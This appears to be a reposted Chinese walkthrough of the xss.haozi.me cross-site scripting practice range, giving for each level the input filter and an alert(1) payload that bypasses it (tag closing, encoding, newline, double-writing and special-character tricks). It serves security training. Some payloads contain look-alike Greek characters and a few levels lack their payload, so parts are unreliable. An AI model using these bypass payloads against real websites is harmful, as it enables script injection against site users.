本文主要是介绍xss.haozi教程-史上最全详解,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
目录
0x00
0x01
0x02
0x03 反引号替代括号
0x04 编码绕过
0x06 换行绕过
0x08 换行绕过
0x09
0x0A 引入漏洞页面
0x0B 编码绕过
0x0C 双写绕过
0x0D
0x0E 特殊符号绕过
0x0F
0x10
0x11
0x00
<script>alert(1)</script>
0x01
先尝试<script>alert(1)</script>
前后都闭合标签即可
</textarea><script>alert(1)</script><textarea>
0x02
先尝试<script>alert(1)</script>
闭合
"><script>alert(1)</script>
或者先"闭合,鼠标再移到框中
"οnmοuseοver="alert(1)
0x03 反引号替代括号
先尝试<script>alert(1)</script>
发现过滤了()
`替代括号
<script>alert`1`</script>
0x04 编码绕过
本题过滤了()和`
使用实体编码的方式绕过
首先需要加一个svg标签,代表要解码后面的编码值
将(1)用ascii编码转unicode
在线Unicode编码转换工具(ES JSON在线工具)
<svg><script>alert(1)</script>
0x05
尝试<script>alert(1)</script>
发现被注释掉了
html注释
<!--这是单行注释-->
<!--
这是多行注释
这是多行注释
-->
我们尝试闭合注释
结合源码,发现-->会被替换成表情
因此用--!>来闭合
--!><script>alert(1)</script>
0x06 换行绕过
过滤了以auto/on开头,以=结尾的字符串,并且忽略大小写
可以利用换行绕过正则
直接将等于换第二行,=前面就是空的,同时不影响第一行内容的执行
onmousemove
=alert(1)
0x07 单标签
尝试<script>alert(1)</script>
以为是闭合标签
本题过滤了尖括号之间的内容,忽略大小写
利用浏览器的兼容性,右尖括号可以不用写
<body οnlοad="alert(1)"
0x08 换行绕过
尝试<script>alert(1)</script>
尝试闭合标签
发现本题将替换为/* 坏人 */
利用换行绕过
0x09
本题要求我们必须输入指定的网址
可以先闭合script标签,然后注释掉后面
https://www.segmentfault.com"></script><script>alert(1)</script>//
也可以
http://www.segmentfault.com"></script><img src=x οnerrοr="alert(1)
http://www.segmentfault.com"></script><body οnlοad="alert(1)"
0x0A 引入漏洞页面
要求包含网址和上题一样,还将常用符号转换成了编码形式
以@前的字符串作为用户名,来访问@后面的网址
https://www.segmentfault.com@xss.haozi.me/j.js
这里把www.segmentfault.com当成了登录后面网址的用户名
xss.haozi.me/j.js文件内存放着alert(1);
0x0B 编码绕过
发现将所有输入转换为大写输出
html不区分大小写,而js区分大小写
构造html代码:
<script src="https://www.segmentfault.com.haozi.me/j.js"></script>
或者实体编码绕过
将alert(1)进行HTML实体字符转换
在线Unicode编码转换工具(ES JSON在线工具)
<img src="" οnerrοr="alert(1)">
0x0C 双写绕过
在0x0B基础上过滤了script
利用双写绕过
<scrscriptipt src="https://www.segmentfault.com.haozi.me/j.js"></scrscriptipt>
或者
<img src="" οnerrοr="alert(1)">
0x0D
发现输入全在注释内,还过滤了< / " '
//为单行注释,换行可以绕过
利用换行绕过注释,再用–>忽略后面的引号和括号
0x0E 特殊符号绕过
尝试
特殊符号绕过,ſ 经过toUpperCase函数会变成S
<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>
<ſcript src="https://xss.haozi.me/j.js" ></script>
0x0F
属性值中的HTML实体编码会被浏览器成功解析,所以此处的HTML实体编码毫无用处
先闭合console.error,再添加alert
');alert(1);//
0x10
可以先闭合给data赋值,然后alert(1)
1;alert(1)
也可以直接alert(1)
0x11
"被替换为\\"
但仍然可以闭合了前面的"
然后执行alert(1)语句,并用//注释后面的语句
所以此处的过滤也是毫无用处
");alert(1)//
0x12
")</script><script>alert(1)</script><!--
由于浏览器的容错性可以简写
</script>
<script>alert(1)</script>
xss.haozi 思路总结 0x00-0x12_图南yukino的博客-CSDN博客
xss靶场练习之xss.haozi.me解析及答案_钟情妺喜107的博客-CSDN博客
这篇关于xss.haozi教程-史上最全详解的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!